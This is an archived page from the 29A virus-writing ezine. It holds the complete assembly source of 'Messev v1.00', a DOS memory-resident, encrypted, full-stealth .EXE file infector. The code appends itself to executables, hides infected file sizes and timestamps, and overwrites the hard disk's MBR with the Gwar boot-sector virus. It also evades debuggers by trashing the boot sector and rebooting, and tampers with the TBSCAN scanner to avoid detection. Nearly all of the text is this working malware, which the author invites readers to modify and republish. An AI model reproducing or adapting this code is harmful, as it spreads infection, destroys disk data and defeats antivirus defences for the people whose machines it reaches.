Copy Link
Add to Bookmark
Report

29A Issue 03 05 11

eZine's profile picture
Published in 
29A
 · 4 years ago

  

;============================================================================
;
; NAME: Messev v1.00
; TYPE: Parasitic resident full stealth .EXE-infector.
; PURPOSE: Designed to drop the [Gwar v1.10] bootsector-virus.
; SIZE: Over 2776 bytes.
; AUTHOR: T-2000 / Invaders.
; DATE: March 1998 / May 1998.
;
; Capabilities:
;
; - Tunneling on INT 13h and INT 21h.
; - Variable encrypting.
; - Full stealth, (SFT-stealth however...).
; - Drops bootsector-virus.
; - Hides bootsectors/MBRs infected with Gwar.
; - Completely invisible for TBSCAN (adds parameters, uses INTs).
; - Anti-tracer: detects tracers (trashes bootsector).
; - Disables stealth on execution archivers (works with PKZIP).
; - Anti-debugging tricks.
;
;
; PROBLEMS:
;
; There are still some things to do, like:
;
; - Stealth filereads without SFT's.
; - Determination of system-handles via IOCTL (function 44h). *DONE*
; - Dummy-critical errorhandler. *DONE*
;
; BUGS:
; - DEBUG crashes on exit after port-access.
; - Stack isn't right in carrier. *FIXED*
; - ARJ exits with a Divide Error. *FIXED*
; - The SBB causes some programs to crash (see above), despite
; that it is correct. (fixed by removal).
; - Invircible terminates with a runtime-error, this is caused
; by hooking function 4301h (set file attributes).
;
; Can somebody tell me why the port-access is screwing things up?
; It'sa real pain in mah ass!
;
;
;
;
; Structure: HOST + PADDING + VIRUS + PADDING + HEADER.
;
; This virus is dedicated to a very pretty woman who was on Dutch television,
; called 'Gallyon van Vessem'.
;
; Since the stupid AV'ers don't assign a person's name to a virus, this
; one is not officially called 'Gallyon'. Instead 'Messev'.
;
; Stealth-marker is 60 seconds.
;
; Passes sanity-checks in anti-virus programs.
;
; When I got ready with Gwar, I've decided build it inside a file-infector,
; (nobody boots from a diskette nowadays). At first I thought of a Tai-Pan-
; hack, later I decided to write my own. It turned out to be the most stealth
; virus I ever programmed.
;
; Some things were removed to make the virus a little more smaller:
;
; - Zero-track hiding.
;
; Scanner detection:
; - TbScan : Only the T-flag (invalid timestamp).
; - F-Prot : Possible variant of Desperado (dis is not a hack Goddammit!)
;
;
; Some parts may look a bit messy, this is due optimization.
; Also excuse me if there is some bad English in this source.
;
; My E-Mail: T2000_@HotMail.Com
;
; To whoever who has dis source: U can do with it whatever U want:
;
; - Modify it, (just give me credit)
; - Publish it,
; - Stick it where da sun doesn't shine.
;
; LAST REMARKS: I hope 2B on #VIRUS very soon!
;
;============================================================================

.MODEL TINY
.STACK 4096
.CODE


ORG 0

Virus_Size EQU OFFSET Virus_End - OFFSET Virus_Begin
Virus_Mem_Size EQU ((Virus_Size * 2) / 16) + (128 / 16)
Marker_Mem EQU 921Fh
Marker_File EQU 0F0B1h
Residency_Check EQU 0DCD0h
Bios EQU 13h
Dos EQU 21h

Virus_Begin:

Gwar_Boot: INCLUDE GWAR.ASM ; Bootsector-virus.

Entry:
CLI ; Detect if a tracer is used.
PUSH AX
POP AX
DEC SP
DEC SP
POP BX
STI

CMP AX, BX ; Word correct?
JE Not_Traced ; Then continue execution.


; === Our retaliation ===

Trash_RAM:
MOV Trace_Mode, Bios ; Find BIOS-entrypoint.
CALL Tracer

MOV AX, 0301h ; Trash bootsector & part
MOV CX, 01h ; of FAT with garbage.
MOV DX, 0180h ; (don't hurt our child).
CALL BiosInt

INT 19h ; Reboot system.

Not_Traced:
MOV AX, Residency_Check ; Call residency-check.
INT 21h

CMP AX, Marker_Mem ; Are we already TSR?
JNE Make_Resident

Exec_Host:
CALL Pop_All

MOV AX, ES
ADD AX, 10h ; Plus PSP.

ADD CS:Old_Entry+2, AX ; Add effective segment.
ADD AX, CS:Old_Stack+2 ; Plus old SS.

CLI
MOV SS, AX ; Restore stack.
MOV SP, CS:Old_Stack
STI

;IN AL, 21h ; Unlock keyboard.
;AND AL, NOT 02h
;OUT 21h, AL

XOR AX, AX ; Clear AX.

JMP DWORD PTR CS:Old_Entry ; JMP to host.

Make_Resident:
MOV AH, 62h ; Get PSP, (screws some
INT 21h ; debuggers).

DEC BX ; Get our MCB.
MOV DS, BX

CMP BYTE PTR DS:[0], 'Z' ; We want the last MCB.
JNE Exec_Host ; Don't install when not.

SUB WORD PTR DS:[03h], Virus_Mem_Size
SUB WORD PTR DS:[12h], Virus_Mem_Size
MOV ES, DS:[12h]

PUSH CS
POP DS

CLD ; Copy virus to high-mem.
XOR SI, SI
XOR DI, DI
MOV CX, Virus_Size
REP MOVSB

MOV AX, OFFSET Relocated2

PUSH ES ; JMP to relocated virus.
PUSH AX
RETF

DB '=[ Messev v1.00, (c) 1998 by T-2000 / Invaders ]='

Relocated2:
PUSH CS
POP DS

; Status: Bits
;
; 0 Infect mode.
; 1 Filesize stealth mode.
; 2 Read-stealth mode.
;

MOV Status, 00000011b

MOV AX, 3000h ; Get DOS-version (OEM).
INT 21h

CMP BH, 0FFh ; Microsoft MS-DOS?
JE SFT_Supported

CMP BH, 0EEh ; Digital Research DR-DOS?
JNE No_SFTs

SFT_Supported: OR Status, 00000100b ; Read-stealth enabled.

No_SFTs:
MOV AL, Status ; Save initial status.
MOV Init_Status, AL

MOV Trace_Mode, Dos ; Find DOS-entrypoint.
CALL Tracer

MOV Trace_Mode, Bios ; Find BIOS-entrypoint.
CALL Tracer

MOV AL, 13h ; Hook INT 13h.
MOV BX, OFFSET Stealth_Int13h ; Stealth-handler for MBR.
MOV CX, CS
CALL SetInt

CALL Gwar_Dropper ; Install our lil' present.
NOP ; Leave dis here!

MOV AL, 21h ; Hook INT 21h.
MOV BX, OFFSET NewInt21h
MOV CX, CS
CALL SetInt

JMP Exec_Host

; See if Gwar is already installed, or else install.
; Because we use the tunnelled vector, we can read beyond Gwar's stealth.
Gwar_Dropper:


; Delete port-access driver, so Gwar can infect under Win95. (Same method
; as used in Hare virus).

MOV AH, 41h ; Delete driver.
MOV DX, OFFSET Port_Driver
CALL DosInt

MOV AX, Marker_Mem_Gwar ; Gwar residency-check.
INT 13h

CMP AX, NOT Marker_Mem_Gwar ; Gwar resident?
JE Exit_Installer ; If so, don't install.

MOV AH, 0Dh ; Reset harddisk.
MOV DL, 80h
CALL BiosInt

POP BX ; POP return address to BX.
PUSH BX ; PUSH it back.

MOV BYTE PTR [BX], 90h ; Remove breakpoint.

MOV AX, 0201h ; Read MBR of 1st harddisk.
MOV BX, OFFSET Buffer
MOV CX, 01h
MOV DX, 80h
CALL BiosInt
JC Exit_Installer

CMP [BX+Signature], Marker_Boot ; Already infected?
JE Exit_Installer ; Then abort drop.

MOV AX, 0301h ; Store original MBR.
MOV CX, 02h
MOV DX, 80h
CALL BiosInt
JC Exit_Installer

MOV AX, 0301h ; Write Gwar to MBR.
MOV BX, OFFSET Gwar_Boot
MOV CX, 01h
MOV DX, 80h
CALL BiosInt

Exit_Installer:

RETN

Stealth_Int13h:

CMP AH, 02h ; Read?
JNE JMP_Int13h

OR DH, DH ; Zero-head.
JNZ JMP_Int13h

CMP CX, 01h ; Bootsector?
JNE JMP_Int13h

CALL BiosInt ; Execute function.

CALL Push_All
JC Exit_Stealth_i13h ; Exit if error occurred.

CMP ES:[BX+Signature], Marker_Boot
JNE Exit_Stealth_i13h

MOV AX, 0201h ; Read original bootsector.
MOV CX, ES:[BX+Stored_TS]
MOV DX, ES:[BX+Stored_HD]
CALL BiosInt

Exit_Stealth_i13h:

CALL Pop_All

RETF 2


JMP_Int13h: JMP DWORD PTR CS:Int13h


; <=== S T E A L T H R O U T I N E S ===>

Stealth_Filesize_FCB:

CALL DosInt

CALL Push_All

TEST CS:Status, 00000010b
JZ Error_FCB

OR AL, AL ; Error?
JNZ Error_FCB

MOV AH, 2Fh ; Get DTA-address.
CALL DosInt

CMP BYTE PTR ES:[BX], 0FFh ; Extended FCB?
JNE Normal_FCB
ADD BX, 7 ; Skip extended stuff.
Normal_FCB: MOV AL, ES:[BX+17h]
AND AL, 00011111b ; Infected stamp?
CMP AL, 00011110b
JNE Error_FCB

AND BYTE PTR ES:[BX+17h], 11100000b

SUB WORD PTR ES:[BX+1Dh], (Virus_Size + 16 + 24)
SBB WORD PTR ES:[BX+1Fh], 0

Error_FCB:
CALL Pop_All

RETF 2


; Subtract the virussize from infected files' length & clear 60 seconds.
Stealth_Filesize:

CALL DosInt ; Execute function.

CALL Push_All
JC No_Filesize_Stealth ; Abort when error.

TEST CS:Status, 00000010b
JZ No_Filesize_Stealth ; No, then abort.

MOV AH, 2Fh ; Get DTA-address.
CALL DosInt

MOV AL, ES:[BX+16h] ; Get seconds-field.
AND AL, 00011111b ; Mask seconds.

CMP AL, 00011110b ; Equal to 60 seconds?
JNE No_Filesize_Stealth ; No stealth when not.

AND BYTE PTR ES:[BX+16h], 11100000b ; 0 seconds.

SUB WORD PTR ES:[BX+1Ah], (Virus_Size + 16 + 24)
SBB WORD PTR ES:[BX+1Ch], 0

No_Filesize_Stealth:

CALL Pop_All

RETF 2 ; Return 2 caller.


; Prevents readings after virtual file & redirect readings from header.
Stealth_File_Read:

CALL Push_All

MOV CS:Read_Buffer, DS

TEST CS:Status, 00000100b ; Can we use SFT-stealth?
JZ JMP_No_Stealth

MOV CS:Read_Bytes, CX ; Save # of bytes to read.
MOV CS:Read_Buffer+2, DX

CALL Check_Handle ; Dis is a filehandle?
JNZ JMP_No_Stealth ; Abort when it isn't.

CALL Check_Stamp ; Infected timestamp?
JZ Stealth_Read

JMP_No_Stealth: JMP No_Stealth_Read

Stealth_Read:
CALL Get_DCB ; Get the SFT-address.

MOV AX, ES:[DI+17h] ; Pos. before read hi.
MOV CS:File_Pos, AX
MOV AX, ES:[DI+15h] ; Pos. before read lo.
MOV CS:File_Pos+2, AX

SUB WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24)
SBB WORD PTR ES:[DI+13h], 0
CALL Pop_All

CALL DosInt ; Execute function.

CALL Push_All
JC Abort_Stealth ; Abort when error.

CALL Get_DCB
ADD WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24)
ADC WORD PTR ES:[DI+13h], 0

PUSH CS
POP DS

CMP File_Pos, 0 ; Reading 1st 64k?
JNZ Abort_Stealth ; Abort when not.

CMP File_Pos+2, 24 ; Reading header?
JA Abort_Stealth ; Abort when not.

CALL Save_File_Pos

CALL Go_End_File ; Go to position of old
SUB AX, 24 ; header at end of file.
SBB DX, 0

ADD AX, File_Pos+2 ; Pos in header.
ADC DX, 0

MOV ES:[DI+17h], DX ; Pos. old header.
MOV ES:[DI+15h], AX ; Pos. old header.

MOV AH, 3Fh ; Read original header
MOV CX, 24 ; into caller's buffer.
SUB CX, File_Pos+2
MOV DX, Read_Buffer+2
MOV DS, Read_Buffer
CALL DosInt

CALL Restore_File_Pos
Abort_Stealth:
CALL Pop_All

RETF 2 ; Return to caller.

No_Stealth_Read:
CALL Pop_All

JMP Continue


; Prevents lseeks beyond virtual file.
Stealth_Fileseek:

CALL Push_All

TEST CS:Status, 00000100b ; Readstealth?
JZ No_Stealth_lseek

CALL Check_Stamp ; Infected stamp?
JNZ No_Stealth_Lseek

CALL Get_DCB
SUB WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24)
SBB WORD PTR ES:[DI+13h], 0

CALL Pop_All

CALL DosInt ; Execute function.

CALL Push_All

CALL Get_DCB
ADD WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24)
ADC WORD PTR ES:[DI+13h], 0

CALL Pop_All

RETF 2

No_Stealth_lseek:

CALL Pop_All

JMP Continue


; DS:DX = Filename.
Clean_By_File:
CALL Push_All

MOV AX, 3D02h ; Open file r/w.
CALL DosInt
JC Abort_Clean

XCHG BX, AX

CALL Clean_Handle ; Clean it.

MOV AH, 3Eh ; Close file.
CALL DosInt
Abort_Clean:
CALL Pop_All

JMP Continue

; Removes the virus physically from disk, before a program writes to it.
Clean_By_Handle:

CALL Clean_Handle

JMP Continue

; Cleans the handle, (must have read/write access).
Clean_Handle:
CALL Push_All
CALL Hook_i24h

PUSH CS
POP DS

CALL Check_Handle ; Filehandle?
JNZ No_Del

MOV AX, 5700h ; Get filedate.
CALL DosInt

MOV FileTime, CX ; Save it.
MOV FileDate, DX

AND CL, 00011111b ; Mask seconds.
CMP CL, 00011110b ; 60 seconds ?
JNE No_Del

CALL Save_File_Pos
CALL Go_End_File

SUB AX, 24
SBB DX, 0

MOV CX, DX
XCHG DX, AX
MOV AX, 4200h ; Pos. old header.
CALL DosInt

MOV AH, 3Fh ; Read old header.
MOV CX, 24
MOV DX, OFFSET Header
CALL DosInt

CALL Go_End_File

SUB AX, (Virus_Size + 16 + 24)
SBB DX, 0

MOV CX, DX
XCHG DX, AX
MOV AX, 4200h ;
CALL DosInt

MOV AH, 40h ; Write <EOF> marker.
XOR CX, CX
CALL DosInt

CALL Go_Begin_File

MOV AH, 40h ; Write old header.
MOV CX, 24
MOV DX, OFFSET Header
CALL DosInt

MOV AX, 5701h ; Set clean filedate.
MOV CX, FileTime
MOV DX, FileDate
AND CL, 11100000b ; Clear seconds.
CALL DosInt

CALL Restore_File_Pos

No_Del: CALL Unhook_i24h
CALL Pop_All

RETN

; Check if timestamp is marked as 'infected'.
; BX = Filehandle.
; ZF set when infected.
Check_Stamp:

PUSH AX
PUSH CX
PUSH DX

MOV AX, 5700h ; Get time & datestamp.
CALL DosInt

AND CL, 00011111b ; Infected?
CMP CL, 00011110b ; (Set's flags).

POP DX
POP CX
POP AX

RETN



; Hides infected timestamp.
Stealth_Time:
CALL DosInt

PUSHF
PUSH CX

MOV CS:Temp, CL

JC No_Stealth_Time

TEST CS:Status, 00000010b
JZ No_Stealth_Time

CALL Check_Stamp
JNZ No_Stealth_Time

AND CS:Temp, 11100000b ; Zero seconds.

No_Stealth_Time:

POP CX
POPF

MOV CL, CS:Temp

RETF 2

Save_File_Pos:

MOV AX, 4201h ; Get file-position.
XOR CX, CX
CWD
CALL DosInt

MOV CS:Old_Pos, DX
MOV CS:Old_Pos+2, AX

RETN


Restore_File_Pos:

MOV AX, 4200h
MOV CX, CS:Old_Pos
MOV DX, CS:Old_Pos+2
CALL DosInt

RETN

Go_Begin_File:
MOV AX, 4200h
XOR CX, CX
CWD
CALL DosInt

RETN


;-------------------------
; Goes to end of file.
;
; In: BX = filehandle
; Out: DX:AX = filesize
;-------------------------
Go_End_File:
MOV AX, 4202h
XOR CX, CX
CWD
CALL DosInt

RETN

; These INT 21h functions will be trapped by our virus. If the subfunction
; is 0FFh, it will be treaded like a wildcard.
Functions:
DW 11FFh ; Findfirst (FCB).
DW Stealth_Filesize_FCB
DW 12FFh ; Findnext (FCB).
DW Stealth_Filesize_FCB
DW 4EFFh ; Findfirst (handle).
DW Stealth_Filesize
DW 4FFFh ; Findnext (handle).
DW Stealth_Filesize
DW 4B00h ; Execute file.
DW Init_Exec
DW 4B01h ; Load but not execute.
DW Clean_By_File
DW 5700h ; Get filetime.
DW Stealth_Time
DW 3CFFh ; Create/truncate file.
DW Check_Infect
DW 3DFFh ; Open file.
DW Check_Infect
DW 3FFFh ; Read file (handle).
DW Stealth_File_Read
DW 40FFh ; Write to file (handle).
DW Clean_By_Handle
DW 42FFh ; lseek file.
DW Stealth_Fileseek
DW 41FFh ; Delete file.
DW Check_Infect
DW 4CFFh ; Program terminate.
DW Switch_Stealth_On
DW 6CFFh ; Extended open/create.
DW Check_Infect
DW 43FFh ; Get file-attributes.
DW Check_Infect
DW Residency_Check ; Are-You-There call.
DW Return_Call

DW 0 ; End table.
NewInt21h:

PUSH SI
PUSH BX

MOV SI, OFFSET Functions

Next_Function:
MOV BX, CS:[SI]

OR BH, BH ; End of table reached?
JZ End_Table_Reached ; Then abort.

CMP BH, AH ; Function match?
JNE Another

CMP BL, 0FFh ; Don't compare subfunction?
JE Exec_Function ; Then JMP to routine.

CMP BL, AL ; Subfunction right?
JE Exec_Function ; Then JMP to routine.

Another:
ADD SI, 4 ; Next entry.
JMP Next_Function ; Repeat loop.

End_Table_Reached:

POP BX
POP SI

Continue: JMP DWORD PTR CS:Int21h

Exec_Function:
MOV BX, CS:[SI+2]
MOV CS:Ret_Add, BX

POP BX
POP SI

JMP CS:Ret_Add ; JMP to routine.


; === Let the virus know that we are already installed in memory. ===
Return_Call:

MOV AX, Marker_Mem

IRET


Switch_Stealth_On:

PUSH AX

MOV AL, CS:Init_Status
MOV CS:Status, AL

POP AX

JMP Continue


Init_Exec:
CALL Push_All

; Should we be inactive during run of program?
; Else causes problems.
; ARJ.EXE Timestamp incorrect.
; PKZIP.EXE Wrong filesizes, etc.

MOV SI, DX
MOV DI, OFFSET No_Active
MOV CX, (OFFSET End_No_Active - OFFSET No_Active) / 7
CALL Search_Table
JNZ No_Disable

AND CS:Status, 00000000b

No_Disable:
MOV DI, OFFSET TBSCAN ; Add parameters to TBSCAN?
MOV CX, 1
CALL Search_Table
JNZ Not_TbScan

MOV DI, ES:[BX+2]
MOV ES, ES:[BX+4]

MOV AL, ES:[DI]
CBW

ADD BYTE PTR ES:[DI], 6 ; Length parameters.
INC DI
ADD DI, AX

PUSH CS
POP DS

CLD
MOV SI, OFFSET Parameters

MOVSW
MOVSW
MOVSW
MOVSB

Not_TbScan:
CALL Pop_All


; === INFECTION ROUTINE ===
Check_Infect:
CALL Push_All
CALL Hook_i24h ; Dummy error-handler.

CMP AH, 6Ch ; Extended open/create?
JNE No_Ext_Open ; (used by F-Prot).

MOV DX, SI ; DX = SI.
No_Ext_Open:

TEST CS:Status, 00000001b ; Infect-mode on?
JZ JMP_Exit_i21h ; Abort when not.

MOV AX, 3D02h ; Open file for r/w.
CALL DosInt
JNC No_Open_Error

JMP_Exit_i21h: JMP Exit_Int_21h

DB 'Daddy-K-tit 2 Gallyon van Vessem'

No_Open_Error:
XCHG BX, AX ; BX = Handle.

CALL Check_Handle ; Filehandle?
JNZ Abort_Check

PUSH CS
POP DS

PUSH CS
POP ES

MOV AH, 3Fh ; Read header.
MOV CX, 24
MOV DX, OFFSET Header
CALL DosInt
JC Abort_Check ; If we can't read.

CALL Go_End_File

OR DX, DX ; > 64k?
JNZ Over_64k

CMP AX, 560 ; File too small?
JB Abort_Check
Over_64k:
CMP Mark, 'ZM' ; .EXE-file?
JNE Abort_Check ; Exit when not.

CMP Checksum, Marker_File ; Already infected?
JNE Infect_File

Abort_Check:
JMP Close_File

Infect_File:
MOV AX, 5700h ; Get filetime.
CALL DosInt

PUSH CX
PUSH DX

CALL Go_End_File

AND AX, 00001111b ; Filelength MOD 16.
MOV Padding, AX

OR AX, AX
JZ No_Padding

MOV AH, 40h ; Write padding bytes.
MOV CX, 16
SUB CL, AL
MOV Padding, CX
CALL DosInt
No_Padding:
CALL Go_End_File

PUSH DX ; Size host + padding.
PUSH AX

CLD ; Save old CS:IP.
MOV SI, OFFSET Init_IP
MOV DI, OFFSET Old_Entry
MOVSW
MOVSW

MOV AX, Init_SP ; Save old SS:SP.
MOV Old_Stack, AX
MOV AX, Init_SS
MOV Old_Stack+2, AX

IN AL, 40h ; Get random encryption-key.
MOV File_Key, AL

CLD ; Copy virus to buffer
XOR SI, SI ; for encryption.
MOV DI, OFFSET Buffer
MOV CX, Virus_Size
REP MOVSB

MOV SI, OFFSET Buffer
MOV CX, OFFSET End_Encrypted_File

Encrypt_Byte:
XOR BYTE PTR [SI], AL ; Encrypt ourself in buffer.
INC SI
LOOP Encrypt_Byte

MOV AH, 40h ; Append virus to host.
MOV CX, (Virus_Size + 16)
SUB CX, Padding
MOV DX, OFFSET Buffer
CALL DosInt

MOV AH, 40h ; Write original header
MOV CX, 24 ; to end of hostfile.
MOV DX, OFFSET Header
CALL DosInt

MOV AX, HeaderSize ; Calculate headersize.
MOV CX, 16
MUL CX

XCHG CX, AX

POP AX ; Length host + padding.
POP DX

SUB AX, CX ; Minus headersize.
SBB DX, 0 ; *** Causes a bug with ARJ
; by small files. > 512.
; Also with Invircible.

MOV CX, 16 ; In paragraphs.
DIV CX

MOV Init_CS, AX ; Store new CS.
MOV Init_IP, OFFSET START

DEC AX ; Anti-heuristic.

MOV Init_SS, AX
MOV Init_SP, (Virus_Mem_Size * 16)

CALL Go_End_File

MOV CX, 16 ; Filelength in paragraphs.
DIV CX

ADD AX, Virus_Mem_Size
MOV MinMem, AX

CALL Go_End_File

MOV CX, 512 ; 512 byte-pages.
DIV CX

OR DX, DX ; No rest?
JZ No_Round ; Then no round-off.
INC AX ; Round off.
No_Round: MOV Byte_Pages, AX
MOV MOD512, DX

MOV Checksum, Marker_File ; Mark as infected.

CALL Go_Begin_File

MOV AH, 40h ; Write updated header.
MOV CX, 24
MOV DX, OFFSET Header
CALL DosInt

MOV AX, 5701h ; Restore filedate.
POP DX
POP CX
AND CL, 11100000b ; Clear seconds.
OR CL, 00011110b ; 60 secs.
CALL DosInt

Close_File: MOV AH, 3Eh ; Close file.
CALL DosInt

Exit_Int_21h:
CALL Unhook_i24h
CALL Pop_All

JMP Continue




; Tunnelled disk interrupt 13h.
BiosInt:
PUSHF
CALL DWORD PTR CS:Int13h

RETN

; === Call the tunnelled DOS-interrupt. ===
DosInt:
PUSHF
CALL DWORD PTR CS:Int21h

RETN


;====( Get interrupt vector )================================================
;
; AL = Interrupt number to hook.
;
; Return: CX:BX = Pointer to INT.
;============================================================================
GetInt:

PUSH SI
PUSH DS
PUSH AX

MOV AH, 4
MUL AH

XCHG SI, AX

XOR AX, AX
MOV DS, AX

CLI ; Get handler-address.
MOV BX, DS:[SI]
MOV CX, DS:[SI+2]
STI

POP AX
POP DS
POP SI

RETN

;====( Set interrupt vector )================================================
;
; AL = Interrupt number to hook.
;
; Returns:
;
; CX:BX = Pointer to handler.
;============================================================================
SetInt:

PUSH SI
PUSH DS
PUSH DX
PUSH AX

MOV AH, 4
MUL AH

XCHG SI, AX

XOR AX, AX
MOV DS, AX

CLI
MOV DS:[SI], BX
MOV DS:[SI+2], CX
STI

POP AX
POP DX
POP DS
POP SI

RETN



Old_Entry DW OFFSET Carrier, 0 ; Entrypoint host.
Old_Stack DW OFFSET Virus_End + 1024, 0 ; Stacksegment host.



; === Finds the original BIOS & DOS entrypoint. ===
Tracer:
CALL Push_All

MOV AH, 52h ; List of lists.
INT 21h

MOV AX, ES:[BX-02h] ; Get 1st MCB.
MOV Dos_Segment, AX

MOV AL, 01h ; Save INT 01h.
CALL GetInt

MOV Int01h, BX
MOV Int01h+2, CX

MOV AL, 01h ; Hook INT 01h.
MOV BX, OFFSET NewInt01h
MOV CX, CS
CALL SetInt

MOV AL, Trace_Mode ; Get address from vector.
CALL GetInt

PUSHF
POP AX
OR AH, 01h ; TF on.
PUSH AX
POPF

CMP Trace_Mode, Bios
JNE Mode_Dos

MOV Int13h, BX
MOV Int13h+2, CX

XOR AH, AH ; Reset disk.
CALL BiosInt

JMP Exit_Tracer
Mode_Dos:
MOV Int21h, BX
MOV Int21h+2, CX

MOV AX, 3000h ; Get DOS-version (OEM).
CALL DosInt

Exit_Tracer:
PUSHF
POP AX
AND AH, NOT 01h ; TF off (just in case).
PUSH AX
POPF

MOV AL, 01h ; Restore INT 01h.
MOV BX, Int01h
MOV CX, Int01h+2
CALL SetInt

CALL Pop_All

RETN

; I should be learning 4 my exams right now...

DB 'If I don''t pass... fuck it!', 0
DB 'SKLSUX!'

NewInt01h:
PUSH BP
MOV BP, SP
PUSH AX
PUSH DS

MOV AX, [BP+4] ; Segment.

CMP Trace_Mode, Bios
JNE Trace_Dos

CMP AH, 0C0h ; In BIOS-segment?
JB Not_In_Bios ; Continue when not.

MOV Int13h+2, AX
MOV AX, [BP+2]
MOV Int13h, AX
JMP Diss_Flag

Trace_Dos:
CMP AX, Dos_Segment ; In DOS-segment?
JNB Not_In_Bios ; Continue when not.

MOV Int21h+2, AX
MOV AX, [BP+2]
MOV Int21h, AX

Diss_Flag:
AND BYTE PTR [BP+7], NOT 01h ; Diss trapflag on stack.

Not_In_Bios:
POP DS
POP AX
POP BP

IRET


; Taken from Predator virus.
Push_All:
POP CS:[Ret_Add] ; Pop return address to var.

PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH BP

JMP CS:Ret_Add ; Push return address on
; the stack.

Pop_All:
POP CS:[Ret_Add] ; Save return address.

POP BP
POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF

JMP CS:[Ret_Add]


; Gets the SFT-address. *UNDOCUMENTED*
; BX = Handle.
;
Get_DCB:
PUSH BX

MOV AX, 1220h ; Get DCB-number.
INT 2Fh

MOV AX, 1216h ; Get DCB-address.
MOV BL, ES:[DI]
INT 2Fh

POP BX

RETN

TBSCAN DB 'TBSCAN.'



; During execution of one of these programs, the virus will be inactive,
; (no stealth, no infect).

No_Active:
DB 'PKZIP.E' ; PKZIP.EXE
DB 'ARJ.EXE' ; ARJ.EXE
DB 'LHA.EXE' ; LHA.EXE
DB 'RAR.EXE' ; RAR.EXE
DB 'CHKDSK.' ; CHKDSK.EXE
End_No_Active:


Hook_i24h:
CALL Push_All

MOV AL, 24h ; Get INT 24h.
CALL GetInt

MOV CS:Int24h, BX
MOV CS:Int24h+2, CX

MOV AL, 24h ; Hook INT 24h.
MOV BX, OFFSET NewInt24h
MOV CX, CS
CALL SetInt

CALL Pop_All

RETN

; I would really recommend getting this CD
; (yes, it's da theme-music from Carmageddon).

DB '[ DEMANUFACTURE - FEAR FACTORY ]'

Unhook_i24h:
CALL Push_All

MOV AL, 24h ; Restore INT 24h.
MOV BX, CS:Int24h
MOV CX, CS:Int24h+2
CALL SetInt

CALL Pop_All

RETN


; Dummy Critical Error handler.
NewInt24h:
MOV AL, 03h

IRET


;=======================================================================
; Search a table & (re)set zeroflag depending on result. ZF when found.
;
; DS:SI = Line
; CS:DI = Table
; CX = Number of names to compare.
;=======================================================================
Search_Table:
PUSH AX
PUSH BX
PUSH SI
PUSH DI
PUSH BP
PUSH DS
PUSH ES

PUSH CX
PUSH DI
PUSH ES

PUSH DS
POP ES

PUSH SI
POP DI

MOV AL, '.'

CLD
MOV CX, 127
REPNZ SCASB

MOV AL, '\'
STD
MOV CX, 127
REPNZ SCASB

MOV BP, ES:[DI+2]
MOV BX, ES:[DI+4]
MOV DX, ES:[DI+6]
MOV AL, ES:[DI+8]

POP ES
POP DI
POP CX


Find_Match:
CMP CS:[DI+0], BP
JNE Not_Found

CMP CS:[DI+2], BX
JNE Not_Found

CMP CS:[DI+4], DX
JNE Not_Found

CMP CS:[DI+6], AL
JNE Not_Found


Comple: CMP AX, AX
JMP Exit_Sea

Not_Found:
ADD DI, 7
LOOP Find_Match

XOR AX, AX
NOT AL
CMP AL, AH

Exit_Sea:
POP ES
POP DS
POP BP
POP DI
POP SI
POP BX
POP AX

RETN


; Is the handle in BX corresponding to a file or a device? (sets ZF).
Check_Handle:
MOV AX, 4400h ; IOCTL
CALL DosInt

TEST DL, 80h ; Filehandle?

RETN


Port_Driver DB 'C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR', 0
Parameters DB ' NM CO', 0Dh


End_Encrypted_File:

NOP_Msg DB '$'

; === VIRUS ENTRYPOINT ===
START:
PUSHF ; Save registers.
PUSH AX ; (Same as Push_All).
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH BP

;IN AL, 21h ; Take-out keyboard.
;OR AL, 02h
;OUT 21h, AL

PUSH CS
POP DS

XOR BX, BX
MOV CX, OFFSET End_Encrypted_File

Decrypt_Byte: XOR BYTE PTR [BX], 0 ; Decrypt our body.
ORG $-1
File_Key DB 0
INC BX

MOV AH, 09h ; Prints a empty string.
MOV DX, OFFSET NOP_Msg ; (Anti-TbScan).
INT 21h

LOOP Decrypt_Byte

JMP Entry
Virus_End:

Header:

Mark DW 0 ; .EXE-identifier (always 'MZ').
Mod512 DW 0
Byte_Pages DW 0
Num_Reloc DW 0
HeaderSize DW 0
MinMem DW 0
MaxMem DW 0
Init_SS DW 0
Init_SP DW 0
Checksum DW 0 ; Checksum, unused by MS-DOS, used by us.
Init_IP DW 0
Init_CS DW 0


; === TEMP VARIABLES ===

Status DB 0
Init_Status DB 0

Int01h DW 0, 0
Int21h DW 0, 0 ; Tunnelled INT 21h.
Int24h DW 0, 0
New_Pos DW 0, 0
Old_Pos DW 0, 0
File_Pos DW 0, 0
Read_Bytes DW 0
Padding DW 0
Dos_Segment DW 0 ; 1st Memory Control Block.
Trace_Mode DB 0 ; Are we tracing BIOS or DOS-interrupt?
Ret_Add DW 0
Tunnel_Int DW 0, 0 ; Address of the tunneled interrupt.
Read_Buffer DW 0, 0
FileTime DW 0
FileDate DW 0
Temp DB 0

Buffer:


Carrier:
PUSH CS
POP DS

MOV AH, 09h ; Display warning.
MOV DX, OFFSET Warning_Msg
INT 21h

MOV AX, 4C00h ; Exit to DOS.
INT 21h

Warning_Msg DB 'WARNING: This program is infected with the '
DB 'Messev v1.00 virus!', 0Ah, 0Dh, '$'

END START

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT